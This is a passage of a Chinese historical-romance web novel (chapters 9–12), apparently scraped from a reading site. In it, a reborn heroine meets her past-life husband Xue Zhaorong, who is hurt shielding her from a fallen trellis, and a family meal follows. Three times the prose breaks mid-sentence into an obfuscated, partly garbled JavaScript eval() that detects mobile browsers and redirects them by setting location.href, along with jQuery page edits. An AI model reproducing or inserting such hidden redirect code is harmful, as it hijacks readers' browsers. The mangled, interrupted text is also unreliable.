沈支安闻言微微一怔,打量着薛召容,却见他耳尖竟泛起薄红,心下不由一惊,莫非此人此来并非寻他,而是寻他的妹妹沈支言? 这般想着,愈发觉得蹊跷。薛召容向来不与外界往来,更不曾与闺阁女子有过交集,怎会突然问起妹妹?况且他也不是头一回来府上,昨日来就颇为反常,不仅留下用膳,还盘桓许久。今日更是毫无征兆,天光未大亮就登门了。 还有,昨日妹妹竟将那串贴身戴了多年的檀木手串赠予了他,这实在不似她素日作风。即便是与自幼亲近的表哥,她也从未赠过这般重要的物件。 薛召容见他盯着自己眼底满是疑惑,低声道:“我有几句话想同她说,不知今日可否一见?” 有几句话要说? 沈支安愈发诧异,脑中蓦地闪过一个念头,不由脱口问道:“你们何时相识的?” “初识不久,昨日不过是第三回见面。”薛召容回道。 第三回见面就有话要说? 沈支安心中虽觉蹊跷,却也不好过多追问,只道:“她平日除了习画抚琴,便是坐在檐下看书,倒也无甚旁的事。说来今日原该有琴课,偏生先生前几日去了乡下还未归来,想是此刻正在院中读书。你若见她,我便去叫来。” 薛召容生平头一遭这般登门求见闺阁女子,素来清冷的眸底难得掠过一丝局促,他起身道:“如此,便劳烦了。” 沈支安将手中书卷搁在案上,引着他往外走:“你且先去后园稍候,我这就去唤她来。” 薛召容低应一声,转身往后园行去。 沈支安往妹妹院中走时,心中仍不住思量。近日他曾听大哥提起,说亲王府出了些变故,正欲与朝中重臣联姻以稳固地位,难不成亲王府将主意打到了他们沈家头上?薛召容此番前来,不会是有意于妹妹吧? 昨日初见时,他分明听见薛召容说了句“求娶”,却被妹妹匆匆打断。 有点不对劲。 沈支安到了妹妹院中,只见她正坐在石桌前看书。而阮家那丫头阮苓则挨着她坐,怀里抱着个攒盒,里头各色糕点堆得跟小山似的。 阮苓自昨日赖在府里不肯走,便变着法儿要东要西,今日一早就缠着厨房做了新点心,两腮鼓鼓地嚼着,活像只偷食的松鼠。 晨光里,她那张圆脸愈发显得跟粉团似的。若不论她那些古灵精怪的念头,倒也是个玉雪可爱的姑娘。只是这情之一字最是难解,谁又说得清其中关窍呢? “二哥哥来啦!”阮苓眼尖,远远瞧见沈支安便扬手招呼。 沈支安微微颔首:“我来寻妹妹。” 沈支言搁下手中书卷,起身问道:“二哥寻我何事?” “薛召容来了,说是有话要同你说。”沈支安回道,“此刻正在后园等着。” “薛召容?”沈支言闻言一怔。 一旁的阮苓却掩嘴轻笑:“瞧瞧,我就说那位薛二公子不对劲。昨日才见过,今日就巴巴地来找姐姐,莫不是真的看上姐姐了。” “妹妹别闹。”沈支言耳尖微红,急急打断她,“许是另有要事。” 沈支安:“既已登门,总该去见见的。他今日带了不少精致礼品,原以为是给我的,细看却都是女儿家用的物件。这般诚意,我们总不好失了礼数。” 沈支言垂眸沉思片刻,指尖无意识地揪着手绢,回道:“我去见他便是。只是还请二哥暂且莫要与父母提及此事。” 其实她心中早已明了,今生的轨迹正一步步循着前世的印记行进。想必不久后,亲王府便会派人前来提亲。若真如前世一般,她终究会嫁给薛召容。可如今要紧的并非嫁与不嫁,而是如何避开那场悲剧。 沈支安正欲转身离去,忽觉袖口一紧,只见阮苓拽着他的衣袖,仰着粉腮笑道:“好哥哥,姐姐要去见薛二公子,留我一人在院里好生无趣,你坐下来陪我可好?” 小姑娘眼巴巴地望着他,眸中满是期待。沈支安略显尴尬地轻咳一声:“我还有公务在身,实在不便久留。你且先用些点心,待我忙完再来瞧你。” 阮苓虽满心不舍,却也知晓分寸,只得松开手,甜甜道:“那二哥哥可要说话算话。” 沈支安与沈支言出了西厢房,他瞧着妹妹忧愁的面容,终是忍不住道:“妹妹,你如今已到议亲之年,二哥有几句话要嘱咐。二哥知道,我们这样的人家,婚事素来由不得自己,但二哥还是盼着,你能寻个两情相悦的良人。记住,在婚事上莫要迁就,但凡是你中意的,二哥定当全力相助。” 这番话他说得温和,却字字千钧。这个自幼捧在手心里长大的妹妹,他最怕的莫过于她所托非人。 沈支言闻言浅笑,眼底漾着暖意:“二哥放心,妹妹自有主张。” 从西厢房到后园不过短短一段路,沈支言却走得心绪纷乱。步履间,前世种种如走马灯般在眼前流转。 那个曾与她同衾共枕过的夫君,那个最终与她共赴刑场的夫君,她知晓他在亲王府二十余载的如履薄冰,亦明白他步步为营的不得已。 思及此,心头便泛起一丝说不清道不明的酸涩,似是怜惜,又似掺杂着别的什么情愫,教人分辨不清。 转过回廊,但见后园柳荫下立着一道清隽身影。新抽的柳条随风轻曳,嫩绿枝叶间漏下细碎天光,正落在那人月白的衣袂上。 他负手而立,风过处,发带轻扬,整个人如嵌在这满园春色里的一幅工笔,清贵得教人移不开眼。 她不由驻足,恍然间竟分不清是梦是真。重生以来,每每见他,总觉如坠云雾。 檐角风铃轻响,薛召容循声回首。四目相对时,恰似春江潮水漫过堤岸,无声却汹涌。 他缓步而来,衣袂拂过青石小径,在离她三步之遥处停住。 他从袖中取出一个精巧的口脂盒子,递到她面前,清声道:“昨日你送我手串,今日这个送给你。” 今日连句“沈姑娘”也未叫。 淡粉色的口脂盒子,上头描着桃花纹样,看起来清新又别致。此刻被他捧在掌心,偏生多了几分说不出的意味。 这般桃花口脂近来在京城闺秀中风靡,前几日她才与阮苓一同采买了几盒。膏体细腻滋润,确是极好用的。只是她万万没想到,薛召容竟会以女儿家的胭脂水粉作回礼。 这情形忽地勾起前尘往事。 那时他们新婚第二日,她往隔壁院子里搬迁,他倚在门框边,面色沉郁地看着她与下人们将她从娘家带来的物件,一件件往偏院拾掇。 她的妆奁不慎跌落时,一盒口脂骨碌碌滚到他靴边。盒盖掀开,里面的口脂已经见底。这是她惯用的口脂,因着她唇瓣敏感,素来只认准城东那家老字号。成亲前后诸事繁杂,竟忘了添置新的。 他盯了那盒口脂片刻,俯身拾起,递还给她。 “当真要搬?”他开口问她,声音压得极低。 她接过盒子时,指尖不慎擦过他掌心,触到一片冰凉。 “嗯。”她应了一声,继续收拾东西。 他们洞房那夜就说定了,往后他们分居而住,互不打扰,便是他日后要纳妾,她也绝不会多说半个字。 那日偏院的动静一直持续到黄昏,正房却始终静得出奇。直到半月后,老管家捧着个锦盒过来,说是薛召容让送来的。 她揭开盒盖时,一脉桃花香幽幽浮起,竟是与她惯用的一模一样的口脂。 他竟然给她买了口脂,她满是惊讶。 大概又过了三两日,晨光熹微中,她正坐在院中的秋千上看书,忽觉一道目光落在身上。 她抬眼望去,只见薛召容正立在月洞门下,青衫被晨露浸得微湿,似是已站了许久。 四目相对间,谁都没有出声。直到他缓步走近,衣摆扫过石阶上零落的棠花,她才扶着秋千站起身来。 “你怎么来……”她话音未落,忽见他眸中暗潮翻涌,似怒似痛。还未及反应,下颌便被他修长的手指扣住。 他倾身逼近,温热的呼吸拂过她耳畔:“昨夜又听见丫鬟们嚼舌根,说你那位表哥,近日又来寻过你。” 他指节力道极重,掐得她下颌生疼。她不由往后踉跄了半步,却被他另一只手扣住腰肢。 她抬眸对上那双暗流翻涌的凤眼,喉间发紧:“我未曾主动见他,是他送了东西过来。” “送的什么?” “几盒口脂……” “原来从前你用的,都是他买的?” “我没……”不待她辩解,忽觉唇上一痛,他竟低头咬住了她的唇瓣。 “沈支言,记住了。”他抵着她唇间呢喃,呼吸间尽是桃花口脂的甜香,“你既嫁给了我,便不许再收外男的东西。” 他用拇指重重碾过被自己咬红的唇:“这味道,确实不错。往后每月,我都亲自给你买。” 她僵挺地望着他,那句“我没收”哽在喉间,半天才说出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541192|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是他们第一次亲吻,竟然是依这种方式。 不知为何,薛召容让她莫名的畏惧,他骨子里透着一股不容违逆的强势,纵使他们明面上说是利益联姻,他却早早划下道来:只要他们一日是夫妻,他便绝不会行半点违背伦常之事,更不会动纳妾的念头。而她沈支言,亦要谨守本分,不得与旁的男人有半分牵扯,更不能教他沦为京中笑柄。 起初她只当他是顾及颜面,才这般将她拘在身边。可偏偏这人又极重诺言,待她始终以礼,在外人跟前更是给足她体面。 唯独有一桩事他极其较真,那便是阖府上下,任何人都不能提半句她的表哥何苏玄。 他介怀何苏玄,介怀到近乎偏执。每每听闻她与表哥从前种种,那双凤眸里的暗潮便能将人淹没。 府里人都说,薛二公子这辈子最大的逆鳞,恐怕就是少夫人那段青梅竹马的前尘往事了。 直至成婚一年后,他终究撕破了那层克制。红烛帐暖间,他将她锢在怀中,气息灼热地烙在她耳畔:“沈支言,我知你至今忘不了他。” 他骨节分明的手掌扣住她纤细的腕子:“可既做了我的人,往后你的心、你的魂,都只能是我的。” 话音未落便封住了她的唇,将那些未尽的挣扎尽数吞没。 人心岂是说变就能变的?可自那夜起,她确实渐渐不再执着于回忆表哥的好。 薛召容的霸道像一张密不透风的网,逼得她不得不将前尘旧梦一点点收起。有时看着他,她甚至会想,若是这般朝夕相处三年五载,或许真能生出些情愫来。 可惜命运终究没给他们这个“或许”。 断头台上的鲜血尚未干透,重来一回的她又站在了这株垂柳下。 前世那些未竟的“如果”,如今想来,不过是徒增惘然。这世间,原就没有那么多重头再来的机会。 两个本不相干的人硬生生被捆作一处,日久生情固然可贵,可其中艰辛,又岂是一见钟情的姻缘可比? 时下指尖摩挲着胭脂盒上细腻的桃花纹,喉间倏地涌上阵阵酸涩。她既想逃开,又本能地想要靠近,千般滋味绞在心口,教人喘不过气来。 薛召容见她接过口脂,目光落在她雾气氤氲的眸子上,这双眼每次望向他时都似含着晨露。 “打开看看,可还合你心意?”他清声道。 她定了定神,掀开口脂盖子,里头膏体晶莹润泽,甫一开启便逸出缕缕桃花幽香,正是她素日最爱的味道,熟悉得教人眼眶发热。 “现在试试。” “现、现在?” 这人果然还是如前世般不通闺阁礼数,明明赠口脂已属逾矩,竟还要她当面试妆。 他好像一直都不太懂如何与女子相处。 “不必了。”她低声推拒,把口脂收了起来,然后问他:“薛公子今日找我,所为何事?” 他总不能只是过来见见她吧! “我只是想见见你。”他回道。 她微微蹙眉,轻声道:“薛公子若是无事,还是少来为好。” “为何?” “孤男寡女,不宜多见。” 孤男寡女,不宜多见。 她说的生分。 他静默片刻,忽又道:“今夜我在西街安排了烟花盛会,包下了整片西月湖和一座酒楼,晚间,我们一起去。” 来之前,鹤川教给他,求娶之事不可操之过急,收一收他以前冷漠高傲的性子,学会放低姿态。先赠礼,再邀约,方显诚意,如此姑娘才会喜欢。 他照着做了,先去买了时兴的口脂,又包下了整条西街,还准备了一场烟花盛会。 可,为何她眉眼间不见半分喜色? 他默了片刻,又补充道:“听闻你的琴师归乡了,往后我每日来府上教你。我虽比不得琴师,但也不算太差。” 话音落下,她惊讶地望向他。 他见她不语,干脆上前一步道:“不若我现在就去教你,今一整日我都无事,可留在这里陪你。以后,你若是有什么需要,尽管寻我。还有……” 他深吸一口气:“你平日里喜欢吃什么,都告诉我,我去给你买。” 鹤川说,可以适当说些暖心的话,即便说不出口也要硬着头皮说。 来时他在马车上背了一路,时下说出口,脸都红了。 沈支言望着他的眼神更为惊讶了。 他…… 他这话怕不是鹤川教的吧! 10. 第 10 章 前世,沈支言与薛召容相处一年多,多少摸清了些他的脾性。虽说两人分院而居,可那两处院落不过一墙之隔。薛召容会时常不声不响地出现在她的院中,有时在石凳上静坐半日,有时就立在树下出神。 以前鹤川对她说,薛召容只有心绪不宁时才会去她那儿。或是朝中遇了棘手事,或是身上带了伤,又或是挨了王爷的责罚,他都会过去站一会。 薛召容虽贵为亲王府二公子,却做着最凶险的差事。那些见不得光的暗杀、查探,但凡要动刀剑的勾当,薛亲王头一个便想到这个儿子。在父亲眼里,他不过是个用得趁手的利器,召之即来,挥之即去。 鹤川曾红着眼眶说过,说他身上新伤叠着旧伤,不是今日折了肋骨,就是明日臂膀又添了刀伤。 最凶险那次,便是王爷派他去刺杀一位敌对朝臣。 当时,那朝臣外出办事时,薛召容与鹤川里应外合把他堵在了一处院落里。依他们的计划和身手本该万无一失,可结果,那朝臣早有防备,竟在院中设下天罗地网。薛召容被困在了院子里,鹤川则被阻在了铁门外。 当时鹤川听着里头刀剑相击之声不绝于耳,焦急的冷汗直流。整整一个时辰薛召容都没有脱身。那可是一个时辰啊,该是多少死士围着他一人绞杀。 鹤川甚至做好了最坏的打算,若公子折在里面,他自己便也抹了脖子随主子去。 可正当他绝望时,忽闻“砰”的一声巨响,铁门竟被硬生生踹开。 他急忙望去,只见薛召容提着一颗血淋淋的首级踏出门来,身上的玄色劲装早已被血浸透,每走一步都在青石板上留下暗红脚印,左腿分明是折了,却仍挺直脊背一步步往外走。 “公子。”鹤川急忙迎上前去,望着满院横七竖八的尸首,惊得连刀都握不稳。 公子竟真凭一己之力杀出一条血路,还将那朝臣的首级生生斩下。这般悍勇令人胆寒,可代价也着实惨重。他左腿骨裂,身上刀伤箭伤不下十余处,足足将养了一个多月才能正常行走。 那阵子沈支言常见医者出入隔壁院落,问起时小厮只道是薛召容染了风寒。直到他能下地了,鹤川才红着眼睛告诉她实话。 原来那人高烧不退时,嘴里还含糊念着“别让她知道”。鹤川说着说着就哽咽了:“公子是怕少夫人忧心,硬要瞒着的。” 沈支言得知真相那日,眼眶发烫得厉害,她亲手煨了参汤去隔壁院子时,见他已能勉强走动,正独自坐在院中树下出神。 他见她来了,明显怔了一下。 她走上前将食盒搁在桌上,指尖触到他消瘦的腕骨时,心头猛地一揪。这人原本凌厉的下颌如今更显嶙峋,眼下一片青灰,哪里还是往日那个杀伐决断的薛二公子。 “还疼么?”她轻声问他,揭开汤盅时热气氤氲了眉眼。 他沉默片刻,忽然扯出个笑来:“不疼了,没事的,横竖还活着。” 这话说得轻巧,可活着二字从他口中吐出,偏生带着血淋淋的重量。 她舀了碗热汤递过去,看他低头喝着。第一口下去时他动作顿了顿,接着便一口接一口喝得急切。待到空碗递回来时,她分明瞧见他眼尾泛着红,像是流了泪。 后来她才知晓,这么久以来,他的父亲和兄长统共就来瞧过他一回。并且他父亲临走时还丢下一句“好生将养,后头还有差事”,仿佛眼前这人不是亲生骨肉,而是把用钝了的刀。 二十余年来,他何曾得过半分温情?外人只见他金尊玉贵,哪知他不过是他父亲手里最锋利的刃。差事办得漂亮无人夸赞,稍有差池便是雷霆震怒。那时候沈支言时常想,这天底下怎会有这般狠心的父亲? 这般长大的人,哪里懂得什么温存体贴?他自幼没有母亲教养,只会凭着本能行事,想要什么便直剌剌地说,说出来的话还总带着不容拒绝的霸道。 今日这番邀约的言辞,温和得不像他往日的作风,除了鹤川在背后指点,还能有谁? 她垂眸无声轻叹,回道:“我今日不想学琴。你若无事,不妨去寻二哥,听闻你们正在查案,想必公务繁忙。这口脂,多谢了,往后不必再送了。” “为何?”他追问。 还能为何? 她耳尖微热,回他:“总归,男子不该随意赠送女儿家这些,这些原该是两情相悦时才能相赠的,若是叫人误会了,反倒难堪。” 鹤川是他带出来了,虽然比他懂一些人情世故,但是那直爽的性子哪能细想这么多,估计也是从小丫鬟那里学的。 “还有一事。”沈支言抬眸看向他,不论他是否同她一样带着前世记忆重生,这话都不得不说,“太师府与淑妃那头,你们须得留神。淑妃这两年虽不得圣宠,在宫中却从未安分过。太师表面是个中庸之臣,实则老谋深算的很。” “皇上此番交给你们的命案,本就是他和太师府做的局。那凶手是他们一早安排好的棋子,你们若真碰了,反倒要遭反噬。” 前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541193|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世种种历历在目,那时二哥与薛召容奉命查案,表面上暗中走访,实则一举一动都在对方眼皮底下。偏生那阵子大哥被调去临城,二哥又因查案分身乏术,太傅府上下被牵制得动弹不得。父亲在朝中独木难支,到底还是着了道。 而薛召容,当时因着皇命在身,连亲王府的要务都耽搁了不少。府上少了一个得力臂膀,便似折翼的鹰隼,处处受制。 那段时日,弹劾太傅府与亲王府的折子雪片似的往御前递,朝中更是风波不断。 她那时深居闺阁,父兄从不在她跟前议论朝政,只隐约觉得府里气氛一日紧似一日,直到后来她才知晓那桩案子根本就是个死局。 二哥与薛召容查到最后,反被诬陷成勾结凶手的同谋。父亲为保二哥四处奔走,终究无济于事。最后还是薛召容一力担下所有罪责,独自下了诏狱。 薛召容在亲王府经手的差事虽不见光,却是维系王府根基的要紧关节。那时他锒铛入狱,他大哥少了挡在前面的利刃,皇上便趁机发难,一步步将亲王府逼至绝境,短短两年便落得满门倾覆的下场。这盘棋步步杀机,一着不慎便是万劫不复。 既然有机会重头再来,前世悲剧万万不能再发生。 薛召容听她说完静默良久,眼底暗潮翻涌。此刻他已是确信,沈支言定然也知晓些什么,否则她怎么会说出这般话来。 有风吹来,吹得身后那片月季花片片凋落,春风掠过亭角铜铃,叮叮当当。他望着她满是忧色的模样,轻声应道:“好,我记下了。” 他会细细调查。 只是他话音甫落,忽闻一声轰响,沈支言身后那片用木头搭建的月季花架倏然倒塌。 事情突然,沈支言还未来得及回头,就被薛召容一把扣住肩头猛地旋了个身。 天旋地转间,她感觉腰间一紧,整个人已被他牢牢护在怀中,紧接就是“咣当”一响,花架重重地砸在了他的后背上。 他吃疼地闷哼一声,双手仍护着她的脑袋,落下的双臂也狠狠地磕在了青石板上。 漫天月季纷扬落下,花瓣扑簌簌洒了满身,四周尽是花香。 一时间,二人都被埋进了粉色花海中。 沈支言惊魂未定地睁开眼睛,正对上薛召容近在咫尺的面容。 他发间缠着花枝,衣领里落进几片绯红花瓣,温热的呼吸拂过她的鼻尖,不禁让她紧张地眨了眨眼睛。 他的唇…… 他的唇,几乎要贴上她的唇。 11. 第 11 章 前世他们有过肌肤之亲,亲吻过,缠绵过,时下突然这般亲近,让沈支言一时慌了神。 他身上清冽的松木香混着月季的甜腻,丝丝缕缕缠绕过来,熟悉得教人心尖发颤。 此刻他只要稍一动,便能吻上她的唇。 她屏住呼吸,对上他灼灼的目光,那眼底翻涌的情愫,像暮春时节忽然破云的日光,烫得人无所适从。 从前他也曾这般望过她,可总掺着几分隐忍与寂寥,毕竟在他的心里,这段姻缘从一开始就是错的。他始终觉得,她心里装的,从来都只有表哥一人。 他胸膛紧贴着她,心跳声震耳欲聋,她只觉脑中一片空白,一时没有反应过来。 而薛召容却在这四目相对的刹那,脑海中突然涌起许多破碎的画面:吻她时颤抖的睫,缠绵时交握的十指,深夜里相拥而眠的温度。这些记忆来得汹涌又真切,仿佛他们当真做过一世夫妻。 他喉结不自觉地滚动,鬼使神差地向前倾了倾。 沈支言有所感应倏地偏过头去,绯红从耳尖一路蔓延至颈间。恰在此时,远处传来小厮惊慌的喊声:“花架倒了,快看看可有人伤着。” 这喊声惊醒了怔忡的两人。薛召容这才发觉自己的手还牢牢护着沈支言的脑袋,掌心烫得厉害。 他正要起身,忽觉后背一阵尖锐的刺痛,好像是花架上的钉子扎进了皮肉里。 此时管家带着人匆匆跑来,一时没看到人在哪儿,这藤本月季生得茂密,此刻倒下来竟将二人埋得严严实实。 “我们在这儿。”沈支言从花枝间隙中唤了一声。 管家拨开花丛一看,惊得倒抽凉气,只见薛二公子正将小姐护在身下,两人发间衣襟皆落满花瓣,活似戏文里演的鸳鸯交颈。 下人们都看呆了,还是管家最先回神:“都愣着做什么,快扶二位起来。” 小厮们手忙脚乱地上前搀扶,薛召容却闷哼一声没能起身。方才情急不觉得,此刻才发觉后背疼得厉害,稍一动弹便似有千万根细针在扎。 管家急步上前一看,只见薛召容的后背上赫然扎着几根钉子,殷红的血迹正缓缓洇开。 “快去请府医,薛公子背上扎了钉子。”管家急喊道。 一时间,众人顿时乱作一团,有小厮跌跌撞撞往外跑。 沈支言见薛召容眉头紧锁,担心道:“怎么样?可疼得厉害?” 薛召容强撑着道:“无碍。” 他说罢,忍着痛挪开身子,小心翼翼地托着她的腰将人扶起。 杏儿慌忙上前搀扶沈支言:“小姐可伤着了?” 沈支言却顾不得应答,提着裙摆扑到薛召容身旁。只见他后背衣衫已被鲜血浸透,几枚生锈的铁钉深深嵌在皮肉里,看得她心头一揪,鼻尖顿时酸涩起来。 前世这样的场景她见过太多次,他每次办差回来,总要带着满身伤痕,却总是咬牙忍着,从不吭声。 府医提着药箱匆匆赶来,查看伤势后连连叹气:“这钉子入肉太深,伤口怕是不轻啊。” 管家在一旁搓着手,满脸愧色:“都怪老奴没检查妥当。这花架原就沉重,又缠了这许多藤蔓,砸下来确实不轻,薛公子实在抱歉。” 薛召容却只微微摇头,声音虚浮地道了句:“无妨。” 府医打开药箱,沉声道:“公子且忍忍,老朽这就替您取出钉子,怕是会有些疼。” 薛召容“嗯”了一声,神色如常。这些年刀光剑影里来去,什么伤没受过,便是箭矢穿肩,他也曾自己咬着布巾拔出来,草草包扎了事。眼下见众人神色惶惶,倒觉让他不好意思。 沈支言蹲在他身侧,望着他额角渗出的冷汗,心头似被什么狠狠揪住。方才若不是他相护,此刻躺在这里的便是自己了。 府医轻轻替他撕开后背的衣衫,药酒沾上伤口时,薛召容背肌明显绷紧,却仍一声不吭。 那几枚铁钉又粗又长,每拔出一枚都带出汩汩鲜血。周围仆从看得直抽冷气,他却连眉头都没皱一下。 沈支言眼眶蓦地红了,这世上怎会有人能忍痛至此?府医亦是眉头紧锁,动作极轻地为他清理伤口,生怕碰疼了他。 正上着药,忽闻一阵急促的脚步声。沈二公子搀着娘亲苏冉匆匆赶来,见薛召容背上血肉模糊的模样,苏冉歉然道:“薛公子,实在对不住,园中这花架年久失修,才酿成这般祸事。” 薛召容强撑着疼痛道:“夫人言重了,不过皮肉小伤,将养几日便好。” 府医屏息凝神,一针一线替他缝合伤口,又仔细敷上药膏,缠好纱布。 薛召容始终神色淡淡,仿佛那血肉模糊的伤不是在自己身上。这般隐忍模样,看得沈支言心头又酸又软,这人总是把苦楚往肚里咽,面上偏要装作云淡风轻。 二哥沈支安连忙上前搀扶:“快到前厅歇着,我让人备套干净衣裳。” 沈府上下待客殷勤,倒让薛召容有些无措。一行人往前厅去,管家忙指挥着小厮们收拾散落的月季花。 沈支言默默跟在薛召容身侧,望着他背上渗血的纱布,喉间发紧。他发间还沾着几片绯红花瓣,随着步伐轻轻颤动,衬得那苍白的侧脸愈发令人揪心。 刚到前厅,沈三公子也闻讯赶来,见薛召容伤得这般重,又是一阵嘘寒问暖。这一家子人都格外热情,薛召容以往从未感受过这般温暖的家庭气氛。 沈支安领着他去厢房更衣,不多时便见他换了一身藏青色长衫出来。那衣裳是二哥的尺寸,穿在他身上略宽了些,却愈发衬得人清瘦如竹。 他面上依旧从容,若不是背上隐约透出的药渍,几乎看不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541194|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他方才受过伤。 苏冉心疼又愧疚,特意吩咐厨房炖了人参乌鸡汤。 用午膳时,薛召容被留在府上用饭。众人刚入座,忽闻小厮来报,表少爷何苏玄来了。 “支言,姨母让我给你带的御膳房烤鹅。”何苏玄笑着拎过食盒,那烤鹅甫一揭开盖子,香气便压过了满桌菜肴。 苏冉热情地招呼他入席:“正巧薛公子也在,快一道用饭罢。” 方才何苏玄刚迈进门槛,抬眼就见薛召容端坐在沈支言身侧,心情瞬间低落下来。这位亲王府的二公子,怎么又来了? 他在沈支言身旁落座,执筷为她夹了只鹅腿,温声道:“妹妹,这是姨母特意嘱咐御膳房为你做的。知道你素来爱吃,我一路紧赶慢赶,就怕凉了失了风味。” 表哥一直都很体贴,甚至把擦手的帕子都递到了她的跟前。 沈支言道了声谢,低头轻咬一口,鹅肉酥香,确是她从前最爱的滋味。 “阮妹妹也尝尝。”何苏玄又夹了另一只鹅腿递给阮玲。 阮玲接过,咬了一口,开心笑道:“果然还是宫里的厨艺好,要是能常吃就好了。” “这有何难?”何苏玄笑得温润,“往后我常给你们带便是。” 何苏玄一直都是这般有风度。 阮苓急忙道谢:“多谢苏玄哥哥。” 何苏玄谦虚道:“妹妹不必客气,今日城东有灯会,不若我陪两位妹妹去逛逛?” 阮玲立时拍手:“太好了!我许久未逛灯会了,苏玄哥哥真体贴。” “我也要去。”三哥沈支轩兴奋道,“我也好久没逛灯会了,最近终是不那么忙了,不如大家一起去放松放松,吃喝玩乐的银钱我全包了。” 何苏玄:“没问题,我瞧着大哥二哥最近也挺辛苦,不若一起去吧!” 二哥沈支安笑道:“也好,我也许久为吃东街的栗子了。” 他说罢,对娘亲道:“娘,待会你去找大哥,若他不忙,就让他带着嫂子和两个孩子一起逛逛。春日里的夜晚很舒适,适合散步。” 娘亲苏冉笑道:“好,我待会就去找他们,你们这几个孩子也许久未聚在一起了,今日好好玩玩。” 以往,他们府上的孩子们总是在一起玩耍,有时候也会结伴到街上看灯会,因着这两年大家都比较忙,已经许久没有相聚了。 几人一合计就这么说定了,唯独薛召容坐在一旁一声不吭。他抬眸时,正对上何苏玄投来的目光。 不知为何,薛召容自昨日见这位表哥,心头便莫名不喜。许是梦中那些零碎片段作祟,让他心生反感。 那些梦境虚实难辨,搅得他心绪翻涌。 今日他包了整片西月湖,原本是要邀请沈支言去看烟花的。 这下,还能去吗? 12. 第 12 章 薛召容自幼便晓得,自家与旁人家大不相同。这般不分长幼,连客人都能同席说笑的融融泄泄用膳之景,他从未见过,更未曾奢求过。 他们亲王府,长幼尊卑,秩序森严,父亲便是这亲王府里的天,一言九鼎,不容违逆。他与大哥自小用膳时,父亲不落座,谁也不敢近前半步,父亲不动筷,更无人敢先尝一口。即便腹中已饱,只要父亲仍在席间,他们便只能端坐如泥塑木雕。 父亲每道目光都透着威严,每句话都如同金科玉律。与这般强势之人朝夕相对,连喘息都仿佛带着千斤重量。 自十几岁起,他便尝不出饭菜的滋味了。无论是珍馐美味还是粗茶淡饭,入口皆如嚼蜡。那令人窒息的压抑,那绷紧心弦的压抑,早将口腹之欲消磨殆尽。 父亲待大哥还尚有几分宽容,幼时大哥任性,不喜的菜色,偶尔还能推拒。可对他却截然不同,饭桌上不许出声,再难以下咽的菜肴也必须咽尽。 记得有一回他染了风寒,胃脘翻腾,实在难以下箸。他不过低声说了句“父亲,儿子实在吃不下”,父亲便一掌击在案上,震得碗碟叮当作响:“连口饭都料理不清的人,往后能成什么气候?” 在父亲凌厉的目光下,他硬是将满桌的饭菜咽了下去,结果回去后吐了一整夜,胃里翻江倒海,疼得几乎昏死过去,自那以后,他对吃食再无半分期待。 府里的膳食向来由厨子操持,他至今都不知母亲亲手做的饭菜是何滋味。 此刻席间众人言笑晏晏,连沈支言的母亲都含笑为几个孩子布菜添汤。那慈爱的目光,温柔的笑意,让他忽然明白,这世间原是有人被这般温暖相待的。 只是这样的温情,从来都与他不相干。 薛召容正沉思间,苏冉已是盛了一碗粥推到他面前,温声道:“薛公子,这粥是我亲手熬的,家里几个孩子都爱喝,你快尝尝。” 他怔然望着眼前热气氤氲的粥碗,一时竟有些无措,连忙道:“多谢伯母。” 他拿起瓷勺喝了几口,滋味竟与亲王府中那些精致却冰冷的膳食全然不同。一股暖意自喉间蔓延,说不出的熨帖。他从未想过,一碗寻常的粥,竟能让人这般心头发烫。 还未等他回神,苏冉又将一碟红烧排骨挪到他跟前,笑道:“这排骨也是我做的,孩子们都爱吃。今日特意多炖了些时辰,入味得很。你身上带着伤,该多吃些滋补的。” 阮苓见他神色拘谨,笑道:“薛公子不必这般客气。我们沈伯母最是慈和,我自幼便爱赖在她府上不走。伯母待我们如同亲生,不仅做得一手好菜,从前还亲手给我纳过鞋底呢。” 她指了指何苏玄,笑吟吟道:“无论是表哥、阿弟还是义沅姐姐,伯母都一视同仁地疼着。咱们这儿没那么多规矩,您尽管放开了吃。待您多尝几次伯母的手艺,保管日日惦记着。要不我怎的总是赖在这儿?可不就为着这口吃的。” 阮玲说着便嘿嘿笑了起来,那没心没肺的模样活像个稚童。她这般自夸赖在府里不走,倒惹得众人忍俊不禁。 苏冉宠溺笑道:“就数你这丫头最是鬼灵精,可偏偏叫人疼到心坎里。还有义沅那孩子,非常重情义,平日里特别照顾支言。她们姐俩但凡过来,我总要好好款待的。” “你们这些孩子能聚在一处便是缘分。往后薛公子得空常来走动,家里几个小子也都是重情重义的,想来定能与你投契。” 面对苏冉的温和热情,薛召容心里是说不出的滋味,曾经能用这般语气与他说话的,也只有那个在他十几岁就去世的祖母了。 